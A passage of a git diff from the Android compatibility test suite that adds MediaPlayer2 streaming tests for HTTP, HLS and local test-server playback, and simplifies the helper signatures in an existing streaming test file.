+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaLibraryService2.class.getCanonicalName());
+ assertEquals(MockMediaLibraryService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
new file mode 100644
index 0000000..c1769ac
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
@@ -0,0 +1,814 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.media.BufferingParams;
+import android.media.DataSourceDesc;
+import android.media.MediaFormat;
+import android.media.MediaPlayer2;
+import android.media.MediaPlayer2.TrackInfo;
+import android.media.TimedMetaData;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.test.InstrumentationTestRunner;
+import android.util.Log;
+import android.webkit.cts.CtsTestServer;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.net.HttpCookie;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Tests of MediaPlayer2 streaming capabilities.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class StreamingMediaPlayer2Test extends MediaPlayer2TestBase {
+ // TODO: remove this flag to enable tests.
+ private static final boolean IGNORE_TESTS = true;
+
+ private static final String TAG = "StreamingMediaPlayer2Test";
+
+ private static final String HTTP_H263_AMR_VIDEO_1_KEY =
+ "streaming_media_player_test_http_h263_amr_video1";
+ private static final String HTTP_H263_AMR_VIDEO_2_KEY =
+ "streaming_media_player_test_http_h263_amr_video2";
+ private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
+ "streaming_media_player_test_http_h264_base_aac_video1";
+ private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
+ "streaming_media_player_test_http_h264_base_aac_video2";
+ private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
+ "streaming_media_player_test_http_mpeg4_sp_aac_video1";
+ private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
+ "streaming_media_player_test_http_mpeg4_sp_aac_video2";
+ private static final String MODULE_NAME = "CtsMediaTestCases";
+ private DynamicConfigDeviceSide dynamicConfig;
+
+ private CtsTestServer mServer;
+
+ private String mInputUrl;
+
+ @Override
+ protected void setUp() throws Exception {
+ // if launched with InstrumentationTestRunner to pass a command line argument
+ if (getInstrumentation() instanceof InstrumentationTestRunner) {
+ InstrumentationTestRunner testRunner =
+ (InstrumentationTestRunner)getInstrumentation();
+
+ Bundle arguments = testRunner.getArguments();
+ mInputUrl = arguments.getString("url");
+ Log.v(TAG, "setUp: arguments: " + arguments);
+ if (mInputUrl != null) {
+ Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
+ }
+ }
+
+ super.setUp();
+ dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
+ }
+
+/* RTSP tests are more flaky and vulnerable to network condition.
+ Disable until better solution is available
+ // Streaming RTSP video from YouTube
+ public void testRTSP_H263_AMR_Video1() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+ + "&fmt=13&user=android-device-test", 176, 144);
+ }
+ public void testRTSP_H263_AMR_Video2() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+ + "&fmt=13&user=android-device-test", 176, 144);
+ }
+
+ public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+ + "&fmt=17&user=android-device-test", 176, 144);
+ }
+ public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+ + "&fmt=17&user=android-device-test", 176, 144);
+ }
+
+ public void testRTSP_H264Base_AAC_Video1() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+ + "&fmt=18&user=android-device-test", 480, 270);
+ }
+ public void testRTSP_H264Base_AAC_Video2() throws Exception {
+ playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+ + "&fmt=18&user=android-device-test", 480, 270);
+ }
+*/
+ // Streaming HTTP video from YouTube
+ public void testHTTP_H263_AMR_Video1() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
+ playVideoTest(urlString, 176, 144);
+ }
+
+ public void testHTTP_H263_AMR_Video2() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
+ playVideoTest(urlString, 176, 144);
+ }
+
+ public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
+ playVideoTest(urlString, 176, 144);
+ }
+
+ public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
+ playVideoTest(urlString, 176, 144);
+ }
+
+ public void testHTTP_H264Base_AAC_Video1() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
+ playVideoTest(urlString, 640, 360);
+ }
+
+ public void testHTTP_H264Base_AAC_Video2() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
+ playVideoTest(urlString, 640, 360);
+ }
+
+ // Streaming HLS video from YouTube
+ public void testHLS() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ // Play stream for 60 seconds
+ playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
+ + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
+ + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
+ + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
+ + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
+ + "0/key/ik0/file/m3u8", 60 * 1000);
+ }
+
+ public void testHlsWithHeadersCookies() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ final Uri uri = Uri.parse(
+ "http://www.youtube.com/api/manifest/hls_variant/id/"
+ + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
+ + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
+ + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
+ + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
+ + "0/key/ik0/file/m3u8");
+
+ // TODO: dummy values for headers/cookies till we find a server that actually needs them
+ HashMap<String, String> headers = new HashMap<>();
+ headers.put("header0", "value0");
+ headers.put("header1", "value1");
+
+ String cookieName = "auth_1234567";
+ String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
+ HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
+ cookie.setHttpOnly(true);
+ cookie.setDomain("www.youtube.com");
+ cookie.setPath("/"); // all paths
+ cookie.setSecure(false);
+ cookie.setDiscard(false);
+ cookie.setMaxAge(24 * 3600); // 24hrs
+
+ java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
+ cookies.add(cookie);
+
+ // Play stream for 60 seconds
+ playLiveVideoTest(uri, headers, cookies, 60 * 1000);
+ }
+
+ public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+ "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
+
+ // if url override provided
+ String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
+
+ // Play stream for 60 seconds
+ playLiveAudioOnlyTest(
+ testUrl,
+ 60 * 1000);
+ }
+
+ public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ // Play stream for 60 seconds
+ playLiveVideoTest(
+ "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+ "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
+ 60 * 1000);
+ }
+
+
+ // Streaming audio from local HTTP server
+ public void testPlayMp3Stream1() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("ringer.mp3", false, false);
+ }
+ public void testPlayMp3Stream2() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("ringer.mp3", false, false);
+ }
+ public void testPlayMp3StreamRedirect() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("ringer.mp3", true, false);
+ }
+ public void testPlayMp3StreamNoLength() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
+ }
+ public void testPlayOggStream() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
+ }
+ public void testPlayOggStreamRedirect() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
+ }
+ public void testPlayOggStreamNoLength() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
+ }
+ public void testPlayMp3Stream1Ssl() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ localHttpsAudioStreamTest("ringer.mp3", false, false);
+ }
+
+ private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
+ throws Throwable {
+ mServer = new CtsTestServer(mContext);
+ try {
+ String stream_url = null;
+ if (redirect) {
+ // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+ // Up to 4 redirects seems reasonable though.
+ stream_url = mServer.getRedirectingAssetUrl(name, 4);
+ } else {
+ stream_url = mServer.getAssetUrl(name);
+ }
+ if (nolength) {
+ stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+ }
+
+ if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+ return; // skip
+ }
+
+ final Uri uri = Uri.parse(stream_url);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+
+ mOnBufferingUpdateCalled.reset();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ fail("Media player had error " + what + " playing " + name);
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+ mOnBufferingUpdateCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ assertFalse(mOnBufferingUpdateCalled.isSignalled());
+
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ if (nolength) {
+ mPlayer.play();
+ Thread.sleep(LONG_SLEEP_TIME);
+ assertFalse(mPlayer.isPlaying());
+ } else {
+ mOnBufferingUpdateCalled.waitForSignal();
+ mPlayer.play();
+ Thread.sleep(SLEEP_TIME);
+ }
+ mPlayer.stop();
+ mPlayer.reset();
+ } finally {
+ mServer.shutdown();
+ }
+ }
+ private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
+ throws Throwable {
+ mServer = new CtsTestServer(mContext, true);
+ try {
+ String stream_url = null;
+ if (redirect) {
+ // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+ // Up to 4 redirects seems reasonable though.
+ stream_url = mServer.getRedirectingAssetUrl(name, 4);
+ } else {
+ stream_url = mServer.getAssetUrl(name);
+ }
+ if (nolength) {
+ stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+ }
+
+ final Uri uri = Uri.parse(stream_url);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+
+ mOnBufferingUpdateCalled.reset();
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ mOnErrorCalled.signal();
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+ mOnBufferingUpdateCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ assertFalse(mOnBufferingUpdateCalled.isSignalled());
+ try {
+ mPlayer.prepare();
+ mOnErrorCalled.waitForSignal();
+ } catch (Exception ex) {
+ return;
+ }
+ } finally {
+ mServer.shutdown();
+ }
+ }
+
+ // TODO: unhide this test when we sort out how to expose buffering control API.
+ private void doTestBuffering() throws Throwable {
+ final String name = "ringer.mp3";
+ mServer = new CtsTestServer(mContext);
+ try {
+ String stream_url = mServer.getAssetUrl(name);
+
+ if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+ Log.w(TAG, "can not find stream " + stream_url + ", skipping test");
+ return; // skip
+ }
+
+ Monitor onSetBufferingParamsCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ fail("Media player had error " + what + " playing " + name);
+ }
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+ mOnBufferingUpdateCalled.signal();
+ }
+ }
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SET_BUFFERING_PARAMS) {
+ mCallStatus = status;
+ onSetBufferingParamsCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ // getBufferingParams should be called after setDataSource.
+ try {
+ BufferingParams params = mPlayer.getBufferingParams();
+ fail("MediaPlayer2 failed to check state for getBufferingParams");
+ } catch (IllegalStateException e) {
+ // expected
+ }
+
+ // setBufferingParams should be called after setDataSource.
+ BufferingParams params = new BufferingParams.Builder()
+ .setInitialMarkMs(2)
+ .setResumePlaybackMarkMs(3)
+ .build();
+ mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+ onSetBufferingParamsCalled.reset();
+ mPlayer.setBufferingParams(params);
+ onSetBufferingParamsCalled.waitForSignal();
+ assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+
+ final Uri uri = Uri.parse(stream_url);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+
+ mOnBufferingUpdateCalled.reset();
+
+ assertFalse(mOnBufferingUpdateCalled.isSignalled());
+
+ params = mPlayer.getBufferingParams();
+
+ int newMark = params.getInitialMarkMs() + 2;
+ BufferingParams newParams =
+ new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
+
+ onSetBufferingParamsCalled.reset();
+ mPlayer.setBufferingParams(newParams);
+ onSetBufferingParamsCalled.waitForSignal();
+
+ int checkMark = -1;
+ BufferingParams checkParams = mPlayer.getBufferingParams();
+ checkMark = checkParams.getInitialMarkMs();
+ assertEquals("marks do not match", newMark, checkMark);
+
+ // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
+
+ mPlayer.reset();
+ } finally {
+ mServer.shutdown();
+ }
+ }
+
+ public void testPlayHlsStream() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+ localHlsTest("hls.m3u8", false, false);
+ }
+
+ public void testPlayHlsStreamWithQueryString() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+ localHlsTest("hls.m3u8", true, false);
+ }
+
+ public void testPlayHlsStreamWithRedirect() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+ localHlsTest("hls.m3u8", false, true);
+ }
+
+ public void testPlayHlsStreamWithTimedId3() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ Log.d(TAG, "Device doesn't have video codec, skipping test");
+ return;
+ }
+
+ mServer = new CtsTestServer(mContext);
+ try {
+ // counter must be final if we want to access it inside onTimedMetaData;
+ // use AtomicInteger so we can have a final counter object with mutable integer value.
+ final AtomicInteger counter = new AtomicInteger();
+ String stream_url = mServer.getAssetUrl("prog_index.m3u8");
+ final Uri uri = Uri.parse(stream_url);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+ mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ final Object completion = new Object();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ int run;
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ if (run++ == 0) {
+ mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mPlayer.play();
+ } else {
+ mPlayer.stop();
+ synchronized (completion) {
+ completion.notify();
+ }
+ }
+ }
+ }
+
+ @Override
+ public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
+ TimedMetaData md) {
+ counter.incrementAndGet();
+ long pos = mp.getCurrentPosition();
+ long timeUs = md.getTimestamp();
+ byte[] rawData = md.getMetaData();
+ // Raw data contains an id3 tag holding the decimal string representation of
+ // the associated time stamp rounded to the closest half second.
+
+ int offset = 0;
+ offset += 3; // "ID3"
+ offset += 2; // version
+ offset += 1; // flags
+ offset += 4; // size
+ offset += 4; // "TXXX"
+ offset += 4; // frame size
+ offset += 2; // frame flags
+ offset += 1; // "\x03" : UTF-8 encoded Unicode
+ offset += 1; // "\x00" : null-terminated empty description
+
+ int length = rawData.length;
+ length -= offset;
+ length -= 1; // "\x00" : terminating null
+
+ String data = new String(rawData, offset, length);
+ int dataTimeUs = Integer.parseInt(data);
+ assertTrue("Timed ID3 timestamp does not match content",
+ Math.abs(dataTimeUs - timeUs) < 500000);
+ assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue("MediaPlayer2 not playing", mPlayer.isPlaying());
+
+ int i = -1;
+ List<TrackInfo> trackInfos = mPlayer.getTrackInfo();
+ for (i = 0; i < trackInfos.size(); i++) {
+ TrackInfo trackInfo = trackInfos.get(i);
+ if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
+ break;
+ }
+ }
+ assertTrue("Stream has no timed ID3 track", i >= 0);
+ mPlayer.selectTrack(i);
+
+ synchronized (completion) {
+ completion.wait();
+ }
+
+ // There are a total of 19 metadata access units in the test stream; every one of them
+ // should be received twice: once before the seek and once after.
+ assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
+ } finally {
+ mServer.shutdown();
+ }
+ }
+
+ private static class WorkerWithPlayer implements Runnable {
+ private final Object mLock = new Object();
+ private Looper mLooper;
+ private MediaPlayer2 mPlayer;
+
+ /**
+ * Creates a worker thread with the given name. The thread
+ * then runs a {@link android.os.Looper}.
+ * @param name A name for the new thread
+ */
+ WorkerWithPlayer(String name) {
+ Thread t = new Thread(null, this, name);
+ t.setPriority(Thread.MIN_PRIORITY);
+ t.start();
+ synchronized (mLock) {
+ while (mLooper == null) {
+ try {
+ mLock.wait();
+ } catch (InterruptedException ex) {
+ }
+ }
+ }
+ }
+
+ public MediaPlayer2 getPlayer() {
+ return mPlayer;
+ }
+
+ @Override
+ public void run() {
+ synchronized (mLock) {
+ Looper.prepare();
+ mLooper = Looper.myLooper();
+ mPlayer = MediaPlayer2.create();
+ mLock.notifyAll();
+ }
+ Looper.loop();
+ }
+
+ public void quit() {
+ mLooper.quit();
+ mPlayer.close();
+ }
+ }
+
+ public void testBlockingReadRelease() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+
+ mServer = new CtsTestServer(mContext);
+
+ WorkerWithPlayer worker = new WorkerWithPlayer("player");
+ final MediaPlayer2 mp = worker.getPlayer();
+
+ try {
+ String path = mServer.getDelayedAssetUrl("noiseandchirps.ogg", 15000);
+ final Uri uri = Uri.parse(path);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ fail("prepare should not succeed");
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mp.prepare();
+ Thread.sleep(1000);
+ long start = SystemClock.elapsedRealtime();
+ mp.close();
+ long end = SystemClock.elapsedRealtime();
+ long releaseDuration = (end - start);
+ assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
+ } catch (IllegalArgumentException e) {
+ fail(e.getMessage());
+ } catch (SecurityException e) {
+ fail(e.getMessage());
+ } catch (IllegalStateException e) {
+ fail(e.getMessage());
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ } finally {
+ mServer.shutdown();
+ }
+
+ // give the worker a bit of time to start processing the message before shutting it down
+ Thread.sleep(5000);
+ worker.quit();
+ }
+
+ private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
+ throws Throwable {
+ mServer = new CtsTestServer(mContext);
+ try {
+ String stream_url = null;
+ if (redirect) {
+ stream_url = mServer.getQueryRedirectingAssetUrl(name);
+ } else {
+ stream_url = mServer.getAssetUrl(name);
+ }
+ if (appendQueryString) {
+ stream_url += "?foo=bar/baz";
+ }
+
+ playLiveVideoTest(stream_url, 10);
+ } finally {
+ mServer.shutdown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 60a92b1..0bbddf4 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -188,8 +188,7 @@
// Play stream for 60 seconds
// limit rate to workaround multiplication overflow in framework
- final boolean isAudioOnly = false;
- localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+ localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
}
public void testHlsWithHeadersCookies() throws Exception {
@@ -217,8 +216,7 @@
// Play stream for 60 seconds
// limit rate to workaround multiplication overflow in framework
- final boolean isAudioOnly = false;
- localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+ localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
}
public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
@@ -231,7 +229,7 @@
// if url override provided
playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
} else {
- localHlsTest("audio_only/index.m3u8", 60 * 1000, -1, true /*isAudioOnly*/);
+ localHlsTest("audio_only/index.m3u8", 60 * 1000, -1);
}
}
@@ -241,15 +239,8 @@
return; // skip
}
- MediaFormat format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
- String[] decoderNames = MediaUtils.getDecoderNames(false, format);
-
- if (decoderNames.length == 0) {
- MediaUtils.skipTest("No decoders for " + format);
- } else {
- // Play stream for 60 seconds
- localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
- }
+ // Play stream for 60 seconds
+ localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1);
}
@@ -464,21 +455,21 @@
if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
return; // skip
}
- localHlsTest("hls.m3u8", false, false, false /*isAudioOnly*/);
+ localHlsTest("hls.m3u8", false, false);
}
public void testPlayHlsStreamWithQueryString() throws Throwable {
if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
return; // skip
}
- localHlsTest("hls.m3u8", true, false, false /*isAudioOnly*/);
+ localHlsTest("hls.m3u8", true, false);
}
public void testPlayHlsStreamWithRedirect() throws Throwable {
if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
return; // skip
}
- localHlsTest("hls.m3u8", false, true, false /*isAudioOnly*/);
+ localHlsTest("hls.m3u8", false, true);
}
public void testPlayHlsStreamWithTimedId3() throws Throwable {
@@ -661,19 +652,19 @@
worker.quit();
}
- private void localHlsTest(final String name, boolean appendQueryString,
- boolean redirect, boolean isAudioOnly) throws Exception {
- localHlsTest(name, null, null, appendQueryString, redirect, 10, -1, isAudioOnly);
